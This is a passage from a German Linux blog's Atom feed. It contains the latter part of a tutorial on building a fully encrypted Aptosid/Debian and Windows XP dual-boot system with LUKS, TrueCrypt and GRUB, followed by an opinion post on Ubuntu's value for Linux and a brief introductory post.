/&gt;Zur Größe der Swap-Partition: Es gibt verschiedenste Ansichten darüber,  wie groß diese sein sollte. Ich habe für mich folgende Faustregeln  entwickelt, die bisher bei mir auch immer als sinnvoll erwiesen hat: Bei  weniger als 512MB Arbeitsspeicher sollte man 2x RAM rechnen (also für  256MB RAM sollte swap etwa 512MB groß sein). Ab 512MB RAM kann man je  nach Gusto das 1 bis 1,5-fache seines RAMs für swap verwenden. Ich habe  bei meinen 2GB Arbeitsspeicher immer eine swap-Partition mit 2GB Größe  erstellt und bisher lief alles reibungslos.&lt;br /&gt;Für die /boot-Partition reichen pauschal 250-300MB.&lt;br /&gt;Für swap und /boot (&lt;i&gt;/dev/sda2&lt;/i&gt; und &lt;i&gt;/dev/sda3&lt;/i&gt;) gehen also je nach Arbeitsspeicher normalerweise 1-4GB drauf. Der Rest kann unter Windows und Linux aufgeteilt werden.&lt;br /&gt;&lt;table border="1" style="border: 1px solid rgb(0, 0, 0);"&gt;&lt;tbody&gt;&lt;tr&gt; &lt;td&gt;&lt;span style="font-size: xx-small;"&gt;Anmerkung: Wenn Platzmangel herrscht, kann swap auch noch kleiner gemacht oder gleich weggelassen werden.&lt;/span&gt;&lt;/td&gt; &lt;/tr&gt;&lt;/tbody&gt; &lt;/table&gt;&lt;div style="padding-left: 30px;"&gt;&lt;b&gt;Nun geht’s aber ans Eingemachte!&lt;/b&gt;&lt;/div&gt;Zuerst wird Windows installiert. Beim Partitionieren im Windows-Setup  wird nur eine Partition erstellt, der Rest bleibt einfach  unpartitioniert. Auf diese erste Partition (die in Linux später meistens  als &lt;i&gt;/dev/sda1&lt;/i&gt; bezeichnet wird) installieren wir dann ganz  normal Windows. Danach sollten die grundlegenden Treiber installiert  werden, vor allem das Netzwerk sollte funktionieren. Die aktuellsten  Updates sind sicher auch nicht zu verachten, da wir nachher in Windows  noch etwas arbeiten und eventuell auch ins Internet müssen.&lt;br /&gt;Danach booten wir von unserer Linux-LiveCD. Bei Aptosid sollte in  Grub auf jeden Fall die richtige Sprache eingestellt werden (mit F2).&lt;br /&gt;Im System angelangt, öffnen wir eine Shell/Terminal und besorgen uns erstmal Root-Rechte.&lt;br /&gt;Da außer der Windows-Partition bisher noch keine Partitionen  eingerichtet sind, müssen wir dies nun nachholen. Zum Partitionieren  können wir verschiedenste Tools verwenden. Ich arbeite immer mit fdisk,  das ich enorm zuverlässig finde, aber dessen Bedienung leider für  Anfänger recht unintuitiv sein kann. Alernativen dazu sind cfdisk  (ebenfalls kommandozeilenbaisiert) und gparted (mit GUI).&lt;br /&gt;Dort partitionieren wir nun die Festplatte nach obigem Muster, in diesem Fall &lt;i&gt;/dev/sda&lt;/i&gt;. Sie kann durchaus auch anders heißen, zB &lt;i&gt;/dev/hda&lt;/i&gt;. Dateisysteme müssen noch nicht eingerichtet werden, das machen wir in den folgenden Schritten.&lt;br /&gt;&lt;div style="padding-left: 30px;"&gt;&lt;b&gt;Linux vorbereiten, verschlüsseln und installieren&lt;/b&gt;&lt;/div&gt;Ab nun bewegen wir uns nur noch im Terminal unter Rootrechten!&lt;br /&gt;Zuerst formatieren wir /dev/sda2 mit ext4. Dort wird später /boot liegen.&lt;br /&gt;&lt;pre class="brush:shell"&gt;/sbin/mkfs.ext4 /dev/sda2&lt;/pre&gt;Dann erstellen wir auf &lt;i&gt;/dev/sda4&lt;/i&gt; einen verschlüsselten  Container mit cryptsetup, in den später das Linux-System reinkommt.  Dabei verwenden wir auch die dm-crypt-Erweiterung “LUKS”, die insgesamt  in diesem Fall sehr sinnvoll ist. Als Verschlüsselung wählen wir hier  AES mit einem 512Bit Key.&lt;br /&gt;cryptsetup fragt dann nach dem Passphrase, mit dem das Volume später  entschlüsselt werden kann. Dieses sollte natürlich ausreichend stark  sein. Wenn dieses Passwort verloren geht, sind auch eure Daten nicht  mehr zu erreichen!&lt;br /&gt;In der zweiten Zeile öffnen wir das eben verschlüsselte Volume mit dem Namen &lt;i&gt;cryptroot&lt;/i&gt;. Dieses könnt ihr auch anders nennen, aber dann solltet ihr im weiteren Verlauf gut aufpassen, da der Name öfters vorkommt.&lt;br /&gt;&lt;pre class="brush:shell"&gt;cryptsetup -c aes-xts-plain -s 512 luksFormat /dev/sda4&lt;br /&gt;cryptsetup luksOpen /dev/sda4 cryptroot&lt;/pre&gt;Dasselbe machen wir nun mit der Swap-Partition &lt;i&gt;/dev/sda3&lt;/i&gt;. Allerdings lassen wir cryptsetup den verwendeten Schlüssel von &lt;i&gt;/dev/sda4&lt;/i&gt; nehmen, wodurch wir beim Booten nur eine Passphrase eingeben müssen.&lt;br /&gt;&lt;pre class="brush:shell"&gt;/lib/cryptsetup/scripts/decrypt_derived cryptroot | cryptsetup -c aes-xts-plain -s 512 luksFormat /dev/sda3&lt;br /&gt;/lib/cryptsetup/scripts/decrypt_derived cryptroot | cryptsetup luksOpen /dev/sda3 cryptswap&lt;/pre&gt;&lt;table border="1" style="border: 1px solid rgb(0, 0, 0);"&gt;&lt;tbody&gt;&lt;tr&gt; &lt;td&gt;&lt;span style="font-size: xx-small;"&gt;Anmerkung: Eventuell könnte die Fehlermeldung “&lt;i&gt;device-mapper: remove ioctl failed: Gerät oder Ressource ist belegt&lt;/i&gt;”  auftreten. Diese kann gewöhnlicherweise ignoriert werden und entsteht  nach meinen Erfahrungen, wenn im Vorhinein zu oft Partitionen, Container  etc erstellt und gemountet/geöffnet wurden. Dann einfach nochmal alle  Partitionen außer /dev/sda1 löschen und die LiveCD rebooten.&lt;/span&gt;&lt;/td&gt; &lt;/tr&gt;&lt;/tbody&gt; &lt;/table&gt;Wir haben beide verschlüsselten Partitionen nun unter den Namen &lt;i&gt;cryptroot&lt;/i&gt; und &lt;i&gt;cryptswap&lt;/i&gt; geöffnet. Diese wurden damit automatisch im &lt;a href="http://en.wikipedia.org/wiki/Device_mapper" target="_blank"&gt;device mapper&lt;/a&gt; eingebunden. Dort können wir sie mit ext4 bzw swap formatieren.&lt;br /&gt;&lt;pre class="brush:shell"&gt;/sbin/mkfs.ext4 /dev/mapper/cryptroot&lt;br /&gt;mkswap /dev/mapper/cryptswap&lt;/pre&gt;Nun sind alle verschlüsselten Partitionen vorbereitet. Daher führen  wir nun den aptosid-installer durch, der auf dem Desktop zu finden ist.  Dieser ist grafisch und recht intuitiv, es sollte dabei allerdings auf  folgende Angaben geachtet werden:&lt;br /&gt;Unter “&lt;i&gt;Partitionierung&lt;/i&gt;“:&lt;br /&gt;- Als Root-Partition wird /dev/mapper/cryptroot ausgewählt. Dieses  Device muss nicht extra formatiert werden, da wird das schon gemacht  haben – also Haken raus.&lt;br /&gt;- /dev/sda2 soll auf /boot gemountet werden&lt;br /&gt;&lt;span style="text-decoration: underline;"&gt; &lt;/span&gt;&lt;br /&gt;Unter “&lt;i&gt;Bootloader&lt;/i&gt;“:&lt;br /&gt;Bootloader: grub&lt;br /&gt;Ínstallationsziel: /dev/sda&lt;br /&gt;Die restlichen Einstellungen sollten selbsterklärend sein&lt;br /&gt;Nach der Installation von aptosid wird KEIN Neustart durchgeführt!  Wir müssen zuerst ein paar Anpassungen vornehmen. Dafür mounten wir die  wichtigsten Verzeichnisse, wechseln wir ins verschlüsselte System und  chrooten dieses.&lt;br /&gt;&lt;pre class="brush:shell"&gt;mount /dev/mapper/cryptroot /mnt&lt;br /&gt;mount /dev/sda2 /mnt/boot&lt;br /&gt;mount -o rbind /dev /mnt/dev&lt;br /&gt;mount -t proc proc /mnt/proc&lt;br /&gt;mount -t sysfs sys /mnt/sys&lt;br /&gt;chroot /mnt /bin/bash&lt;/pre&gt;Wir befinden uns nun in dem gerade installierten System. Dort stellen  wir erstmal sicher, dass cryptsetup installiert ist. Bei aptosid ist  dieses vorinstalliert, wie wir ja schon bei der LiveCD festgestellt  haben.&lt;br /&gt;&lt;pre class="brush:shell"&gt;apt-get install cryptsetup&lt;/pre&gt;Nun benötigen wir die UUIDs der Partitionen, damit cryptsetup weiß,  was welche verschlüsselte Partition ist. Diese lesen wir mit &lt;i&gt;blkid&lt;/i&gt; aus. Im zweiten Schritt tragen wir diese mit den entsprechenden Optionen in der &lt;i&gt;/etc/crypttab&lt;/i&gt; ein. Bei swap müssen wir dabei abermals einstellen, dass der Schlüssel von &lt;i&gt;/dev/sda4&lt;/i&gt; verwendet wird.&lt;br /&gt;Bei den UUIDs auf KEINEN Fall die Anführungszeichen mitkopieren, wir  benötigen NUR die Zeichenkette! Auch die &amp;lt;&amp;gt; sind nur zur  Veranschaulichung.&lt;br /&gt;&lt;pre class="brush:shell"&gt;blkid /dev/sda4&lt;br /&gt;blkid /dev/sda3&lt;br /&gt;echo "cryptroot UUID=&amp;lt;UUID von /dev/sda4&amp;gt; none luks" &amp;gt;&amp;gt; /etc/crypttab&lt;br /&gt;echo "cryptswap UUID=&amp;lt;UUID von /dev/sda3&amp;gt; root luks,keyscript=/lib/cryptsetup/scripts/decrypt_derived" &amp;gt;&amp;gt; /etc/crypttab&lt;/pre&gt;Das könnte z.B. so aussehen:&lt;br /&gt;&lt;pre&gt;root@woodhacker:~# blkid /dev/sda3&lt;br /&gt;/dev/sda3: UUID="1e76f9d8-0be4-c45a-64dd03198c220a2e" TYPE="crypto_LUKS" &lt;br /&gt;root@woodhacker:~# blkid /dev/sda4&lt;br /&gt;/dev/sda4: UUID="1e76f9d9-c58c-17c6-7098118f0f593642" TYPE="crypto_LUKS"&lt;/pre&gt;&lt;br /&gt;Nun sollte man sicherheitshalber in der &lt;i&gt;/etc/crypttab&lt;/i&gt; nachschauen, ob alles stimmt. Diese würde im obigen Fall so aussehen:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;# &amp;lt;target name&amp;gt; &amp;lt;source device&amp;gt;         &amp;lt;key file&amp;gt;      &amp;lt;options&amp;gt;&lt;br /&gt;cryptroot UUID=1e76f9d8-0be4-c45a-64dd03198c220a2e none luks&lt;br /&gt;cryptswap UUID=1e76f9d9-c58c-17c6-7098118f0f593642 cryptroot luks,keyscript=/lib/cryptsetup/scripts/decrypt_derived&lt;br /&gt;&lt;/pre&gt;&lt;a href="http://buntspecht.us/uploaded/etc_crypttab" target="_blank"&gt;&lt;/a&gt;&lt;br /&gt;Um die Änderungen zu übernehmen, führen wir noch folgenden Befehl aus&lt;br /&gt;&lt;pre class="brush:shell"&gt;update-initramfs -u -k all&lt;/pre&gt;Jetzt endlich sind wir mit dem Linux-System vorerst fertig. Wir  starten nun das System neu und booten von der Festplatte. Dabei sollte  von cryptsetup nach dem Passwort gefragt werden und das System korrekt  gebootet werden.&lt;br /&gt;&lt;div style="padding-left: 30px;"&gt;&lt;b&gt;Windows verschlüsseln&lt;/b&gt;&lt;/div&gt;Wenn alles funktioniert, setzen wir uns wieder an Windows. Wir booten  Windows und installieren erstmal Truecrypt. Wie auch oben zu sehen,  verwende ich hier Truecrypt 7.0a, die Vorgehensweise sollte aber auch  bei anderen Versionen dieselbe sein.&lt;br /&gt;Wir starten Truecrypt und erstellen ein neues Volume mit “&lt;i&gt;Create Volume&lt;/i&gt;“. Wir wählen “&lt;i&gt;Encrypt the system partition or entire system drive&lt;/i&gt;” und stellen im nächsten Fenster ein, dass wir ein &lt;i&gt;normales Volume&lt;/i&gt; haben wollen. Da wir nur die Windows-Partition verschlüsseln wollen, wählen wir daraufhin “&lt;i&gt;Encrypt the Windows system partition&lt;/i&gt;“.&lt;br /&gt;Nun wird es etwas abstrus. Obwohl wir ein Multi-Boot-System haben, wählen wir &lt;i&gt;Single-Boot&lt;/i&gt; aus. Dies ist für die Vorgehensweise hier notwending, allerdings müssen wir dadurch nachher noch ein wenig tricksen.&lt;br /&gt;Als Algorhythmus kann alles mögliche verwendet werden, allerdings  differenzieren die Geschwindigkeiten teils deutlich. Näheres kann man  unter “&lt;i&gt;Benchmark&lt;/i&gt;” einsehen. Als Hash-Algo kann momentan nur RIPEMD-160 für die Systemverschlüsselung verwendet werden.&lt;br /&gt;Alles weitere füllen wir nach den Truecrypt-Anweisungen aus. Dabei  legen wir u.a. ein Passwort fest und brennen die Rescue-CD. Danach wird  das System neugestartet und statt GRUB wie vorhin erwartet uns nun der  Truecrypt-Bootloader, da sich dieser in den MBR gelegt hat.&lt;br /&gt;Wir geben nun das Passwort für unsere Windows-Partition ein, das wir in  Truecrypt gewählt haben und booten Windows. Daraufhin wird das System  von Truecrypt verschlüsselt, was je nach Festplattengröße und  Algorhythmus eine ganze Weile dauern kann. Danach starten wir das System  neu und testen, ob Windows durch den Truecrypt-Bootloader korrekt  gestartet wird.&lt;br /&gt;Daraufhin müssen wir dafür sorgen, dass wir beim Starten des PCs  auswählen können, welches Betriebssystem wir booten wollen. Das “tolle”  in diesem Fall ist, dass aptosid grub2 verwendet, was uns die ganze  Sache erheblich erschwert. Unter grub(-legacy) wäre die ganze Sache  recht simpel. Ich werde hier beide Methoden durchgehend, allerdings  sollten diejenigen, welche in ihrer Distribution grub2 drin haben,  dieses auch verwenden (und nicht grub-legacy installieren), da es sonst  nach (Dist-)Upgrades zu Problemen kommen kann.&lt;br /&gt;&lt;table border="1" style="border: 1px solid rgb(0, 0, 0);"&gt;&lt;tbody&gt;&lt;tr&gt; &lt;td&gt;&lt;span style="font-size: xx-small;"&gt;Anmerkung: Um herauszufinden, ob  man Grub oder Grub2 bei sich hat, einfach im installierten System (also  auf der Festplatte) nachschauen, ob die Datei /boot/menu.lst vorhanden  ist. Wenn nicht, wurde Grub2 verwendet.&lt;/span&gt;&lt;/td&gt; &lt;/tr&gt;&lt;/tbody&gt; &lt;/table&gt;&lt;div style="padding-left: 30px;"&gt;&lt;b&gt;Vorgehensweise mit GRUB&lt;/b&gt;&lt;/div&gt;Wir müssen zuerst den MBR, in dem der Truecrypt-Bootloader liegt,  sichern. Wir machen ein 1:1-Abbild des MBR (die ersten 512 Bytes der  Festplatte) und legen dieses in /boot ab&lt;br /&gt;&lt;pre class="brush:shell"&gt;mkdir /mnt/boot&lt;br /&gt;mount -t ext4 /dev/sda2 /mnt/boot&lt;br /&gt;dd if=/dev/sda of=/mnt/boot/truecrypt.mbr count=1 bs=512&lt;/pre&gt;Da wir in GRUB wählen wollen, ob wir Linux oder Windows booten wollen, müssen wir die &lt;i&gt;menu.lst&lt;/i&gt;, in der die Einträge verzeichnet sind, ändern. Ist diese nicht vorhanden, wird mit GRUB2 verwendet, siehe unten.&lt;br /&gt;&lt;pre class="brush:shell"&gt;vim /mnt/boot/grub/menu.lst&lt;/pre&gt;&lt;table border="1" style="border: 1px solid rgb(0, 0, 0);"&gt;&lt;tbody&gt;&lt;tr&gt; &lt;td&gt;&lt;span style="font-size: xx-small;"&gt;Anmerkung: Ich verwende als Editor vim, mit nano, joe usw ist das aber natürlich auch möglich.&lt;/span&gt;&lt;/td&gt; &lt;/tr&gt;&lt;/tbody&gt; &lt;/table&gt;Ganz unten in der Datei sollte der Eintrag für Windows liegen. Diesen ändern wir in&lt;br /&gt;&lt;pre class="brush:plain"&gt;title           Microsoft Windows&lt;br /&gt;rootnoverify    (hd0,1)&lt;br /&gt;makeactive&lt;br /&gt;chainloader     (hd0,2)/truecrypt.mbr&lt;br /&gt;boot&lt;/pre&gt;Falls ihr eine andere Partitionierung nutzt: rootnotify muss auf die  Windows-Partition, chainloader auf die /boot-Partition zeigen. Das  /truecrypt.mbr haben wir oben verwendet, als wir den  Truecrypt-Bootloader gesichert haben.&lt;br /&gt;Danach stellen wir GRUB wieder im MBR her:&lt;br /&gt;&lt;pre class="brush:shell"&gt;sudo grub-install --root-directory=/mnt /dev/sda&lt;/pre&gt;Nun sollte alles funktionieren ;)&lt;br /&gt;&lt;div style="padding-left: 30px;"&gt;&lt;b&gt;Vorgehensweise&lt;/b&gt;&lt;b&gt; mit GRUB2&lt;/b&gt;&lt;/div&gt;&lt;table border="1" style="border: 1px solid rgb(0, 0, 0);"&gt;&lt;tbody&gt;&lt;tr&gt; &lt;td&gt;&lt;span style="font-size: xx-small;"&gt;Nebeninfo: GRUB2 unterscheidet  sich in vielerlei Hinsicht von GRUB. Zum Beispiel gibt es keine  menu.lst, sondern es wird eine zentrale Datei aus  der  Konfigurationsdatei /etc/default/grub und verschiedenen Scripts in   /etc/grub.d/ generiert, die man angeblich auch nicht direkt ändern soll.   Nun kann man über die Scripts einen Eintrag in der 40_custom in   /etc/grub.d machen, welcher im Grunde dasselbe wie der Eintrag in die   menu.lst macht. Ihr könnt ihn euch bei Interesse hier ansehen:&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;pre&gt;menuentry "WindowsXP Crypted" {&lt;br /&gt;insmod chain&lt;br /&gt;insmod ntfs&lt;br /&gt;set root='(hd0,1)&lt;br /&gt;search --no-floppy --fs-uuid --set&lt;br /&gt;chainloader (hd0,2)/truecrypt.mbr&lt;br /&gt;}&lt;br /&gt;# Bei den Angaben zur Partition (hdx,y) muss man aufpassen! &lt;br /&gt;# GRUB2 verwendet fuer die Festplatte (x) eine Zaehlung ab 0 (erste Festplatte = 0),&lt;br /&gt;# aber fuer die Partitionen (y) eine Zaehlung ab 1 (/dev/sda1 = 1). Total sinnlos, das war in GRUB imo besser&lt;/pre&gt;&lt;br /&gt;&lt;span style="font-size: xx-small;"&gt; Das Problem ist jedoch, dass beim  Laden von Windows dann der  Truecrypt-Bootloader meldet, dass er  angeblich kaputt ist. Das liegt  anscheinend daran, dass GRUB2 sich so  in den MBR pflanzt, dass Truecrypt  da durchtickt. Daher brauchen wir  einen Workaround, der im Folgenden  beschrieben ist.&lt;/span&gt;&lt;/td&gt; &lt;/tr&gt;&lt;/tbody&gt; &lt;/table&gt;Wir müssen GRUB2 in &lt;i&gt;/dev/sda2&lt;/i&gt;, also in /boot und nicht in  den MBR (was /dev/sda entsprechen würde) installieren. Da das eigentlich  unüblich ist und GRUB deswegen rummotzt, müssen wir GRUB zu seinem  Glück zwingen:&lt;br /&gt;&lt;pre class="brush:shell"&gt;grub-install –force /dev/sda2&lt;/pre&gt;Zwar wird eine Fehlermeldung angezeigt, diese können wir jedoch  getrost ignorieren. Im letzten Schritt müssen wir nur noch den  Truecrypt-Bootloader wiederherstellen, falls dieser eine Fehlermeldung  beim Booten anzeigt. Das können wir einfach über die RescueCD und dort  unter F8 machen (&lt;i&gt;Restore Truecrypt Bootloader&lt;/i&gt;).&lt;br /&gt;In diesem Fall sehen wir direkt nach dem Booten den TC-Bootloader und  können dort das Passwort für die Windows-Partition eingeben. Wenn wir  jedoch Linux booten wollen, drücken wir einfach ESC und dann wird  automatisch GRUB gestartet, welches ja nun komplett in &lt;i&gt;/dev/sda2&lt;/i&gt; liegt.&lt;br /&gt;Auch hier sollte nun alles funktionieren! :)&lt;br /&gt;_____________________________&lt;br /&gt;Weitere Anmerkungen:&lt;br /&gt;- Ihr habt richtig gesehen: Die einzige unverschlüsselte Partition  ist /dev/sda2, in der /boot liegt. Das ist aber nicht weiter tragisch,  da dort keine relevanten Daten liegen. Wie man auch hier die letzte  Angriffsmöglichkeit schließt, werde ich in einem späteren Artikel  genauer erläutern.&lt;br /&gt;- Ich habe hier alles bewusst mit WindowsXP gemacht. Unter Windows  Vista/7 soll es angeblich ein paar weitere Probleme geben,  beispielsweise mit der Systempartition, die Windows einrichtet. Dies  konnte ich jedoch nicht testen.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;~fred&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5398780886588725082-8812800759800686418?l=netzwerg.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://netzwerg.blogspot.com/feeds/8812800759800686418/comments/default' title='Kommentare zum Post'/><link rel='replies' type='text/html' href='http://netzwerg.blogspot.com/2011/04/vollverschlusseltes-dualboot-system-mit.html#comment-form' title='0 Kommentare'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5398780886588725082/posts/default/8812800759800686418'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5398780886588725082/posts/default/8812800759800686418'/><link rel='alternate' type='text/html' href='http://netzwerg.blogspot.com/2011/04/vollverschlusseltes-dualboot-system-mit.html' title='Vollverschlüsseltes Dualboot-System mit Aptosid/Debian und WindowsXP'/><author><name>fredstyle</name><uri>http://www.blogger.com/profile/17355885305270743378</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5398780886588725082.post-2604141732237865342</id><published>2011-04-09T08:29:00.000-07:00</published><updated>2011-04-10T00:10:24.734-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Talk'/><title type='text'>Warum Ubuntu gut für Linux ist</title><content type='html'>Nein, hinter diesem zugegebenermaßen sehr schwammig formulierten  Titel steckt kein Artikel über Lizenz-Ideologien (Debian vs Ubuntu) und  bezahlte Mitarbeiter (Canonical), sondern eine kleine Einschätzung  meinerseits, warum das Ubuntu-Projekt vor allem in den Clientversionen  durchaus eine Bereicherung für unixartige, insbesondere für  linuxbasierende Systeme ist.&lt;br /&gt;Ich gehe hier bewusst nicht auf andere populäre Distributionen wie  Fedora und SuSe ein, da ich den Ubuntu-Effekt heutzutage am deutlichsten  finde. Außerdem bleibe ich eher im Home-Bereich, da im Serverbereich  noch ganz andere Faktoren mit reinspielen.&lt;br /&gt;Ich habe schon oft gelesen, dass Ubuntu den “Spirit”, die  “Demokratie” oder das Gleichgewicht der Linuxsysteme gefährde oder  ruiniere. Dies hat meiner Ansicht nach folgende Gründe:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Ein Bruchteil sieht wirklich eine realistische Gefährdung der  weiteren Entwicklung GNU/Linux bzw Unix – es sei dahingestellt, ob es  wirklich so ist&lt;/li&gt;&lt;li&gt;Ein großer Teil hingegen betrachtet den großen Ansturm von  08/15-User auf Ubuntu als Entwertung ihrer eigenen  Coolness/Nerdhaftigkeit/Sonderstellung, da nun Millionen von Leuten ohne  großes Fachwissen von sich behaupten können, Linuxuser zu sein&lt;/li&gt;&lt;li&gt;Auch Neid mag eine Rolle spielen, vor allem vonseiten jener  Entwickler, die komplett freiwillig und ohne finanzielle Entlohnung für  GNU/Linux programmieren und entwickeln. Immerhin verdienen die  Canonical-Entwickler sicher einen schönen Betrag&lt;/li&gt;&lt;li&gt;Weitere Negativargumente sind zudem das Verwenden unfreier  Software/Symbole (z.B. Flash, Mozilla) und der riesige Batzen an  Software sowie ein prall gefülltes Gnome mit einem recht lieblichen  Design – aber das zähle ich mal zu den persönlichen Ansichten.&lt;/li&gt;&lt;/ul&gt;&lt;span id="more-569"&gt;&lt;/span&gt;Ich selbst bin kein wirklicher Ubuntu-Fan,  aber nach einiger Erfahrung mit anderen Distributionen und Kunden, die  auf ein Linuxsystem gewechselt sind, kann ich sagen, dass ich froh  darüber bin, dass es Ubuntu in seiner Rolle als “Einsteigerdistri” gibt.  Warum?&lt;br /&gt;Ganz einfach: Weil ich GNU/Linux liebe. Ich stehe auf freie, kostenlose  Software, das Open Source-Prinzip, die Entwicklergemeinschaft, die  Informationskanäle und die Möglichkeiten, Einfluss auf die Entwicklung  zu nehmen. Ich mag das Arbeiten mit einem solchen System, weil ich viel  mehr Einblick haben und die Systematik besser verstehen kann.&lt;br /&gt;Aber ich muss genauso sagen, dass ich nie so weit ohne Ubuntu  gekommen wäre, die erste Linux-Distribution, die ich verwendet habe. Es  war einfach von Anfang an alles dabei, was man so braucht: Editoren,  Browser, Mailprogramm, Dateimanager, Packprogramm, IRC-Client,  IM-Messenger und so weiter und so fort. Mir wurden keine Paper und  manpages an den Kopf geworfen,&amp;nbsp; ich musste nicht in die Shell, keine  Konfigurationsdateien durchblättern, sondern konnte einfach – wie von  Windows gewohnt – User sein, das ganze als reines Werkzeug sehen, als  Mittel zum Zweck.&lt;br /&gt;Aber ich blieb nicht faul, denn irgendwann stieß ich auf ein paar  Probleme, die ein bisschen Detailarbeit erforderten und mich zwangen,  viel grundlegendere Funktionen zu benutzen und zu verstehen und das  ubuntuusers-Forum half mir dabei, denn da stand einfach alles, was nötig  war. Nur so war es mir möglich, die Basics behutsam zu lernen und mich  in meine späteren Informationskanäle (Wikis, manpages, Dokus, Google)&amp;nbsp;  und Werkzeuge einarbeiten zu können, die mir meinen heutigen  Wissensstand ermöglicht haben.&lt;br /&gt;Nun schließt sich der Kreis, denn ich möchte diesen enormen und  erfreulichen ganz-nebenbei-Wissenssprung anderen Leuten nicht  vorenthalten und zudem helfen, die Userschaft zu vergrößern, damit auch  die Philosophie in der Masse der PC-Anwender Gehör findet. Aber die  Erfolgschancen wären schwindend gering, wenn ich z.B. jedem potenziellen  User ein minimal Debian/Arch vor den Latz knallen müsste – da fehlt es  vielen an Anreizen, Zeit und und vor allem Motivation, denn der  Unterschied zu den altbekannten Windows-Systemen ist beachtlich.&lt;br /&gt;Und hier setzt Ubuntu an: Es liefert ein Linuxsystem für Einsteiger  mit komfortabler Oberfläche, schickem Design, allen nötigen Programmen,  Paketmanager-GUI und großen Hilfen durch Forum und Wiki – da sind doch  ein paar Lizenzstreitigkeiten und bezahlte Entwickler (die den  Einstiegsusern eh total egal sind) sowie die Schaffung eines  regelrechten Hypes vollkommen schnurz! Ein Linux-User mehr, und sei es  nur durch ein Dualboot-Sytem, bereichert die Community und die  Verbreitung der Philosophie. Nur mit einer großen Nutzerzahl lassen sich  auch Änderungen im großen Stil durchsetzen: Komplette IT-Anlagen von  großen Firmen auf Grundlage von GNU/Linux/Unix, Akzeptanz von Open  Source und freien Lizenzen (zB GPL), Öffnung der Softwareentwicklung  auch auf freiwillige Programmierer, Durchsetzen von freien Standards und  so weiter.&lt;br /&gt;Nicht jedem muss die Optik/die Funktionalität von Ubuntu gefallen,  aber das Ziel und die Chancen, die es bietet, sollten doch auch für  jeden GNU/Linux-Hardliner prinzipiell akzeptabel sein – oder was meint  ihr?&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5398780886588725082-2604141732237865342?l=netzwerg.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://netzwerg.blogspot.com/feeds/2604141732237865342/comments/default' title='Kommentare zum Post'/><link rel='replies' type='text/html' href='http://netzwerg.blogspot.com/2011/04/warum-ubuntu-gut-fur-linux-istwarum.html#comment-form' title='0 Kommentare'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5398780886588725082/posts/default/2604141732237865342'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5398780886588725082/posts/default/2604141732237865342'/><link rel='alternate' type='text/html' href='http://netzwerg.blogspot.com/2011/04/warum-ubuntu-gut-fur-linux-istwarum.html' title='Warum Ubuntu gut für Linux ist'/><author><name>fredstyle</name><uri>http://www.blogger.com/profile/17355885305270743378</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5398780886588725082.post-559236081461543551</id><published>2011-04-09T08:16:00.000-07:00</published><updated>2011-04-10T00:10:24.735-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Talk'/><title type='text'>First Post!</title><content type='html'>&lt;span style="font-size: large;"&gt;HeyHey,&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: large;"&gt;Erste Pläne für diesen neueröffneten Blog:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: large;"&gt;-Security &lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: large;"&gt;-Coding&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: large;"&gt;-TechNews&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: large;"&gt;-SocialShit&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: large;"&gt;~&lt;span style="color: red;"&gt;fred&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5398780886588725082-559236081461543551?l=netzwerg.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5398780886588725082/posts/default/559236081461543551'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5398780886588725082/posts/default/559236081461543551'/><link rel='alternate' type='text/html' href='http://netzwerg.blogspot.com/2011/04/first-post.html' title='First Post!'/><author><name>fredstyle</name><uri>http://www.blogger.com/profile/17355885305270743378</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry></feed>
